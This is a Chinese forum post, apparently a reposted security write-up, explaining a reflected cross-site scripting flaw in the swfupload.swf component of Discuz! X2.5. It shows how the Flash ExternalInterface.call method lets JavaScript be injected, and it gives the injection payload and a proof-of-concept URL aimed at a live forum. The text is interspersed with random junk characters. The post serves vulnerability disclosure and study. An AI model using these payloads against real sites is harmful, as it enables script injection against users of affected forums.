找回密码
 立即注册
查看: 2687|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说+ j% C' E  w% L$ _3 H+ N# v6 C* x7 v
/ h. K2 J9 M& _: {6 }8 {
flash.external.ExternalInterface.call($methodName, $parameter)
8 h8 o9 I* X1 D( P在浏览器中执行的是3 h6 f" H) L( \9 C* a

/ {. Q2 Z( e  {1 Y; j1 Ptry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
2 u. O% H4 d0 i3 _* T* g; b8 p对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
, `- [3 d$ e: Z( F
2 S5 x: `. M9 o6 K  rflash.external.ExternalInterface.call("object."+$methodName, $parameter)
/ \2 `. j. Z$ P$ o& o9 B$ i7 x$methodName = a())}catch(e){alert(/xss/)}//
! w  d7 r* d* K" l* w# n5 ]结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
, ]( t7 L. t0 m9 b  t' _0 Y8 o5 }- C& B9 g! a- y/ H6 W
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }+ G1 X3 u' {! w6 o8 q2 a" l) B7 Q- p
1 s5 p8 _2 C5 N/ C! r7 r# X2 V8 T; e
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )& N+ ~% j5 z: V
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
' w0 q: H- D' C! L1 r9 i. j
8 g9 _3 p2 s0 n5 @& l# u7 [/ P" v8 g7 _6 J( ?

6 Q1 W' D# W. _( G' c漏洞文件:upload\static\image\common\swfupload.swf
$ Q  h/ s  K: R5 W# d+ a* k$ `3 V, Z
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
% r; k; S& E/ {, I* Q2 z2 N& P2 p9 M9 s% d2 ^) D: M
" z. R9 D$ k% ]* t  r7 }
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
& P: S6 |9 p, f4 h; v3 a# D
  v& [6 T, l$ _: E5 v! x& o; U6 u' Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表